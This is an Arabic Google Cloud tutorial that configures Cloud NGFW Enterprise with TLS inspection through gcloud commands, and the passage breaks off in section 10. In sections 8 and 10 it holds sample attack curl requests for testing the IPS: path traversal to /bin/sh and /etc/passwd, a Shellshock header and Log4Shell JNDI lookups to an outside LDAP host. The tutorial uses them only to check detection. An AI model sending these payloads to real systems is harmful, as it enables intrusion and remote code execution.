درس تطبيقي حول ترميز Cloud NGFW Enterprise [مع فحص بروتوكول أمان طبقة النقل (TLS)]

1. مقدمة

Cloud Next Generation Firewall (NGFW)

‫Cloud Next Generation Firewall هي خدمة جدار حماية موزّعة بالكامل تتضمّن إمكانات حماية متقدّمة وتقسيمًا دقيقًا وتغطية شاملة لحماية أعباء العمل في Google Cloud من الهجمات الداخلية والخارجية.

يوفّر Cloud NGFW المزايا التالية:

  • خدمة جدار الحماية الموزَّع: يوفّر Cloud NGFW إجراء تنفيذ مستندًا إلى المضيف وموزَّعًا بالكامل على كل عبء عمل لتفعيل بنية أمان "نهج الثقة المعدومة".
  • الإعداد والنشر المبسّطان: ينفّذ Cloud NGFW سياسات جدار الحماية الهرمية والشبكية التي يمكن إرفاقها بعقدة التسلسل الهرمي للموارد. توفّر هذه السياسات تجربة جدار حماية متّسقة في التسلسل الهرمي لموارد Google Cloud.
  • التحكّم الدقيق والتجزئة الدقيقة: يوفّر الجمع بين سياسات جدار الحماية والعلامات التي تخضع لإدارة الهوية وإمكانية الوصول (IAM) تحكّمًا دقيقًا في حركة البيانات بين الشمال والجنوب والشرق والغرب، وصولاً إلى جهاز افتراضي واحد، على مستوى شبكات السحابة الإلكترونية الافتراضية الخاصة (VPC) والمؤسسات.

يتوفّر Cloud NGFW في المستويات التالية:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

تضيف خدمة Cloud NGFW Enterprise خدمة منع التسلّل (IPS) وإمكانات اختيارية متقدّمة لبيئة اختبار البرامج الضارة (WildFire)، وهي خدمات فحص الطبقة 7، إلى بنية Google Cloud Firewall الموزّعة. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بالفحص الدقيق وتحليل الملفات لزيارات البيانات المشفّرة باستخدام بروتوكول أمان طبقة النقل (TLS).

يمكنك الآن نشر عمليات فحص موثوقة لـ "جدار الحماية من الجيل التالي" (NGFW) في الطبقة السابعة باستخدام عناصر تحكّم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.

لتفعيل عنصر التحكّم في جدار الحماية من الطبقة 7 ونشره باستخدام نظام منع الاختراق (IPS) ووضع الحماية المتقدّم الاختياري من البرامج الضارة، عليك تنفيذ المهام التالية:

  • أنشئ مجموعة من نقاط نهاية جدار الحماية في منطقة معيّنة تديرها Google Cloud (مع تفعيل ميزة "وضع الحماية المتقدّم من البرامج الضارة" اختياريًا).
  • يمكنك إنشاء سياسة فحص بروتوكول أمان طبقة النقل (TLS) اختياريًا.
  • يمكنك إنشاء إعدادات ثقة، إذا أردت.
  • اربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج فيها إلى خدمة Cloud NGFW Enterprise.
  • أدخِل تغييرات بسيطة على سياسات وقواعد جدار الحماية الحالية لتحديد ملفات تعريف الأمان لمنع التهديدات وملفات تعريف الأمان الاختيارية المتقدّمة لوضع الحماية من البرامج الضارة لمسارات الزيارات المختلفة.

سياسات جدار حماية الشبكة

تعمل سياسة جدار حماية الشبكة كحاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار حماية الشبكة في أي مكان إلى أن يتم ربط السياسة بشبكة VPC. يمكن أن ترتبط بكل شبكة VPC سياسة واحدة لجدار حماية الشبكة. تتيح سياسات جدار حماية الشبكة استخدام العلامات المُدارة من "إدارة الهوية وإمكانية الوصول" (أو العلامات فقط) في قواعد جدار الحماية، والتي تحلّ محلّ علامات الشبكة الحالية ويمكن استخدامها لتوفير هوية لأعباء العمل.

تؤدي مشاركة سياسة جدار حماية الشبكة على مستوى الشبكات والتكامل مع العلامات المُدارة من "إدارة الهوية وإمكانية الوصول" (IAM) إلى تبسيط عملية ضبط جدران الحماية وإدارتها بشكل كبير.

مع طرح سياسة جدار حماية الشبكة، تتكوّن سياسات جدار حماية Google Cloud الآن من المكوّنات التالية:

  1. سياسة جدار الحماية الهرمية
  2. قواعد جدار حماية VPC
  3. سياسة جدار حماية بين الشبكات ( عالمية وإقليمية)

يتم تطبيق سياسات جدار الحماية الهرمية على عُقد المؤسسة والمجلدات ضمن التسلسل الهرمي للموارد، بينما يتم تطبيق قواعد جدار حماية VPC وسياسات جدار حماية الشبكة على مستوى VPC. يتمثّل أحد الاختلافات الكبيرة بين قواعد جدار حماية شبكة VPC وسياسات جدار حماية الشبكة في أنّه لا يمكن تطبيق قواعد جدار حماية شبكة VPC إلا على شبكة VPC واحدة، بينما يمكن ربط سياسات جدار حماية الشبكة بشبكة VPC واحدة أو مجموعة من شبكات VPC، بالإضافة إلى مزايا أخرى مثل التعديلات المجمَّعة.

أخيرًا، لدينا أيضًا قواعد جدار الحماية الضمنية التي تأتي مع كل شبكة VPC:

  • قاعدة خروج يكون الإجراء فيها هو السماح، والوجهة هي 0.0.0.0/0
  • قاعدة دخول يكون الإجراء فيها هو الرفض، والمصدر هو 0.0.0.0/0

يتم عرض تسلسل إجراءات التنفيذ في المخطّط البياني التالي تلقائيًا:

21b3bcabc469ffe.png

يُرجى العِلم أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار حماية VPC وسياسة جدار حماية الشبكة العالمية. يمكن للعملاء تحديد ترتيب التنفيذ في أي وقت باستخدام أمر gcloud.

العلامات

العلامات الجديدة المدمجة في قواعد سياسة جدار حماية الشبكة هي موارد أزواج المفتاح/القيمة المحدّدة على مستوى المؤسسة أو المشروع في التسلسل الهرمي لموارد Google Cloud. تحتوي هذه العلامة على عناصر تحكّم في الوصول إلى "إدارة الهوية وإمكانية الوصول" تحدّد المستخدمين الذين يمكنهم تنفيذ إجراءات معيّنة على العلامة. على سبيل المثال، تتيح أذونات إدارة الهوية وإمكانية الوصول (IAM) تحديد المستخدمين المسموح لهم بتعيين قيم للعلامات والمستخدمين المسموح لهم بإرفاق العلامات بالموارد. إذا كانت قاعدة جدار حماية الشبكة تشير إلى علامة، يجب تطبيقها على مورد لتنفيذها.

تلتزم العلامات بنموذج موارد الاكتساب في Google Cloud، ما يعني أنّه يتم نقل العلامات وقيمها من الأعلى إلى الأسفل في التسلسل الهرمي من العلامات الرئيسية. ونتيجةً لذلك، يمكن إنشاء العلامات في مكان واحد ثم استخدامها من خلال مجلدات ومشاريع أخرى في جميع أنحاء التسلسل الهرمي للموارد. يُرجى زيارة هذه الصفحة للاطّلاع على تفاصيل حول العلامات وقيود الوصول.

يجب عدم الخلط بين العلامات وعلامات الشبكة. والأخيرة هي سلاسل يمكن إضافتها إلى أجهزة Compute Engine الافتراضية، وهي مرتبطة بالجهاز وتختفي عند إيقاف تشغيله. قد تتضمّن قواعد جدار حماية VPC علامات شبكة، ولكن بما أنّها لا تُعتبر موارد سحابية، فهي لا تخضع لعناصر التحكّم في الوصول ضمن "إدارة الهوية وإمكانية الوصول".

يُرجى العِلم أنّ "العلامات" و"العلامات التي تخضع لإدارة الهوية وإمكانية الوصول" تُستخدَم بالتبادل في هذا المستند.

ما ستنشئه

يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا والقدرة على إنشاء شبكة VPC وإدارة عدد من موارد الشبكة والأمان. وسيوضّح كيف يمكن لـ Cloud NGFW Enterprise توفير وظائف "نظام منع التسلّل" (IPS) و"وضع الحماية المتقدّم من البرامج الضارة" (WildFire) من خلال:

  • فحص تدفقات الإنترنت الواردة من الشمال باستخدام فحص بروتوكول أمان طبقة النقل (TLS)
  • فحص مسارات البيانات داخل شبكة VPC [بين الشرق والغرب] باستخدام فحص بروتوكول أمان طبقة النقل (TLS)
  • [اختياري] ضبط والتحقّق من صحة إرسال الملفات إلى وضع الحماية المتقدّم من البرامج الضارة والتحليل الجنائي للتهديدات غير المعروفة المستندة إلى الملفات عبر حركة البيانات التي يتم فحصها باستخدام بروتوكول أمان طبقة النقل (TLS)

سيتم اختيار التدفقات التي سيتم فحصها باستخدام مَعلمات مطابقة Cloud Firewall، بما في ذلك المجموعة الخماسية (عنوان IP المصدر وعنوان IP الوجهة والبروتوكول ومنفذ المصدر ومنفذ الوجهة) والعلامات.

3d0f288d3b92a295.png

ستكون الحالة النهائية لقاعدة سياسة جدار حماية الشبكة مشابهة للجدول أدناه:

الأولوية

الاتجاه

Target

المصدر

الوجهة

الإجراء

النوع

100

حركة بيانات واردة

Server_Tag

Health-Checks

أي

السماح

Essentials

200

حركة بيانات واردة

Client_Tag, Server_Tag

شراء داخل التطبيق

أي

السماح

Essentials

800

حركة بيانات واردة

Server_Tag

10.0.0.0/24

10.0.0.0/24

فحص L7

للمؤسسات

850

حركة بيانات صادرة

Client_Tag

أي

10.0.0.0/24

السماح

Essentials

900

حركة بيانات صادرة

Client_Tag

أي

أي

فحص L7

للمؤسسات

ما ستتعلّمه

  • كيفية إنشاء سياسة جدار حماية الشبكة
  • كيفية إنشاء العلامات واستخدامها مع سياسة جدار حماية الشبكة
  • كيفية إعداد Cloud NGFW Enterprise واستخدامه مع فحص بروتوكول أمان طبقة النقل (TLS)
  • [اختياري] كيفية ضبط ميزة "وضع الحماية الآمن المتقدّم من البرامج الضارة" (WildFire) والتحقّق منها للتهديدات غير المعروفة المستندة إلى الملفات

المتطلبات

  • مشروع Google Cloud
  • معرفة كيفية نشر المثيلات وضبط مكوّنات الشبكة
  • معرفة بإعدادات جدار حماية VPC

2. قبل البدء

إنشاء المتغيّرات أو تعديلها

يستخدم هذا الدرس التطبيقي حول الترميز متغيّرات $variables للمساعدة في تنفيذ إعدادات gcloud في Cloud Shell.

في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات بين الأقواس حسب الحاجة:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3- تفعيل واجهات برمجة التطبيقات

فعِّل واجهات برمجة التطبيقات إذا لم يسبق لك ذلك:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. إنشاء نقطة نهاية في Cloud NGFW Enterprise

بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق حوالي 20 دقيقة، سيتم إنشاؤها أولاً ويمكن إجراء الإعداد الأساسي بالتوازي أثناء إنشاء نقطة النهاية.

أنشئ ملف الأمان ومجموعة ملفات الأمان:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

الناتج المتوقَّع:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

تأكَّد من إنشاء الموارد بنجاح:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

أنشئ نقطة نهاية Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

نفِّذ الأمر أدناه للتأكّد من أنّه يتم إنشاء نقطة النهاية (CREATING)، أو أنّها نشطة إذا استخدمت --no-async.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب البرنامج المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

الناتج المتوقَّع:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

تستغرق عملية الإنشاء حوالي 20 دقيقة. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء الموارد المطلوبة بالتوازي.

5- الإعداد الأساسي

شبكة VPC والشبكة الفرعية

شبكة VPC والشبكة الفرعية

أنشئ شبكة VPC والشبكة الفرعية:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

أنشئ Cloud Router وبوابة Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

إطارات مبعثَرة

أنشئ مثيلات العميل وخادم الويب:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

العلامات على مستوى المشروع

امنح إذن tagAdmin للمستخدم إذا لزم الأمر:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

أنشِئ مفتاح العلامة وقيمها على مستوى المشروع:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

اربط العلامات بالمثيلات:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

سياسة جدار حماية بين الشبكات العالمية

أنشئ سياسة جدار حماية بين الشبكات العالمية:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

أنشئ قواعد Cloud Firewall Essential المطلوبة للسماح بمرور الزيارات من نطاقات التحقّق من السلامة والخادم الوكيل المستند إلى الهوية:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

أنشِئ قواعد "جدار حماية السحابة الإلكترونية" المطلوبة للسماح بالزيارات الواردة من الشرق إلى الغرب أو داخل الشبكة الفرعية من النطاقات المحدّدة (سيتم تعديل هذه القواعد لتفعيل Cloud NGFW Enterprise مع فحص بروتوكول أمان طبقة النقل (TLS)):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

اربط سياسة جدار الحماية في السحابة الإلكترونية بشبكة VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall Endpoint Association

حدِّد متغيّرات البيئة إذا لم تكن قد حدّدتها بعد و/أو فضّلت نهج النص البرمجي.

تأكَّد من اكتمال إنشاء نقطة نهاية Cloud Firewall بنجاح. لا تتابع إلا بعد ظهور الحالة على أنّها نشطة (أثناء الإنشاء، تكون الحالة المتوقّعة قيد الإنشاء):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب البرنامج المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

الناتج المتوقَّع:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

اربط نقطة نهاية Cloud Firewall بشبكة VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

تستغرق عملية الربط حوالي 10 دقائق. لا تنتقل إلى قسم TLS إلا بعد ظهور الحالة على أنّها نشطة (أثناء الإنشاء، تكون الحالة المتوقّعة هي قيد الإنشاء):

gcloud network-security firewall-endpoint-associations list

الناتج المتوقّع عند الاكتمال:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

الناتج المتوقَّع:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. إعداد مراجع بروتوكول أمان طبقة النقل (TLS)

أنشئ مجمّع هيئات إصدار الشهادات. سيتم استخدام هذا المورد لتخزين شهادة CA الجذر التي ننشئها لـ NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

أنشِئ هيئة إصدار الشهادات الجذر. هذه هي شهادة CA التي سيتم استخدامها لتوقيع شهادات إضافية للطلبات من خلال NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

إذا ظهرت لك الرسالة أدناه، أجب بـ y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

أنشئ حساب خدمة. سيتم استخدام حساب الخدمة هذا لطلب شهادات NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

اضبط أذونات "إدارة الهوية وإمكانية الوصول" لحساب الخدمة:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

أنشئ ملف YAML لسياسة TLS. سيحتوي هذا الملف على معلومات حول الموارد المحددة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

استيراد سياسة فحص بروتوكول أمان طبقة النقل (TLS):

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

عدِّل ارتباط نقطة النهاية لتفعيل بروتوكول أمان طبقة النقل (TLS):

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

احصل على شهادة CA وأضِفها إلى مخزن CA الخاص بالعميل:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

انقل شهادة CA إلى العميل:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

اتصِل بالجهاز الافتراضي عبر بروتوكول SSH، وانقِل شهادة CA إلى ‎/usr/local/share/ca-certificates وعدِّل متجر CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

الخروج والعودة إلى Cloud Shell

عملية توقيع شهادة الخادم:

في Cloud Shell، ثبِّت مكتبة التشفير Pyca باستخدام الأمر pip:

pip install --user "cryptography>=2.2.0"

للسماح لـ Google Cloud SDK باستخدام مكتبة التشفير Pyca، عليك تفعيل حِزم المواقع الإلكترونية.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

إنشاء شهادة الخادم:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

سيؤدي ذلك إلى إنشاء ملف cert.pem وkey.pem في Cloud Shell. بعد ذلك، انقل الشهادة والمفتاح إلى الخادم.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

استخدِم بروتوكول SSH للوصول إلى الخادم من أجل تعديل تفاصيل الشهادة في Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

انقل الشهادة والمفتاح إلى مجلد محدّد:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

عدِّل إعدادات طبقة المقابس الآمنة لاستخدام شهادة موقَّعة:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

أعِد تشغيل Apache:

sudo systemctl restart apache2

تحقَّق من حالة Apache:

sudo systemctl status apache2

يجب أن يكون نشطًا (قيد التشغيل).

اخرج من الجهاز الافتراضي وواصِل العمل على Cloud Shell.

8. التحقّق من صحة الاتصال بين الشمال والجنوب والشرق والغرب

نفِّذ الأوامر أدناه في Cloud Shell ولاحظ عناوين IP المستهدَفة التي سيتم استخدامها:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

افتح علامة تبويب جديدة وابدأ اتصال SSH بالجهاز الافتراضي للعميل من خلال IAP (ستحتاج إلى تحديد المتغيّرات في علامة التبويب الجديدة):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

نفِّذ الأوامر أدناه وسجِّل عناوين IP المستهدَفة التي سيتم استخدامها. أنشئ المتغيّرات التي تستبدل القيم داخل الأقواس بعناوين IP التي تم تدوينها من الخطوة السابقة وتأكَّد من إمكانية الوصول إليها:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

استخدِم أداة Curl لعنوان IP الخاص وتأكَّد من إمكانية الوصول إليه:

curl https://$target_privateip --max-time 2

النتائج المتوقّعة لطلب curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

أرسِل عيّنات من الهجمات إلى عنوان IP. يجب أن يستجيب خادم الويب لجميع الطلبات، ما يؤكد عدم وجود فحص أو منع في الطبقة السابعة:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

نموذج النتائج المتوقعة (عنوان IP خاص):

400
404
400
200
200

وبالمثل، يمكنك إرسال طلبات إلى وجهة على الإنترنت:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

نموذج النتائج المتوقعة (وجهة الإنترنت):

400
404
400
403
403

اخرج من وحدة طرفية الجهاز الافتراضي وعُد إلى Cloud Shell.

9. إنشاء قواعد جدار الحماية وتعديلها لفحص بروتوكول أمان طبقة النقل (TLS)

في السابق، قمنا بتهيئة قاعدة جدار حماية للسماح بحركة المرور الواردة إلى الخادم الخاص بنا من الشبكة الفرعية الداخلية. سنعدّل الآن قواعد الدخول الحالية ونضبط الإجراء على apply_security_profile_group. سيؤدي ذلك إلى تفعيل فحص E/W L7 باستخدام بروتوكول أمان طبقة النقل (TLS):

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

أنشئ قاعدة جديدة لفحص حركة البيانات الصادرة من الطبقة السابعة باستخدام بروتوكول أمان طبقة النقل (TLS).

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

أنشئ قاعدة جديدة للسماح بحركة البيانات الصادرة (EGRESS) من الشرق إلى الغرب (E/W) لمنع الفحص المزدوج.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. التحقّق من صحة فحص بروتوكول أمان طبقة النقل (TLS) الصادر

ارجع إلى علامة تبويب الجهاز الافتراضي للعميل أو اتصِل مرة أخرى:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

أرسِل الهجمات النموذجية إلى وجهة على الإنترنت:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

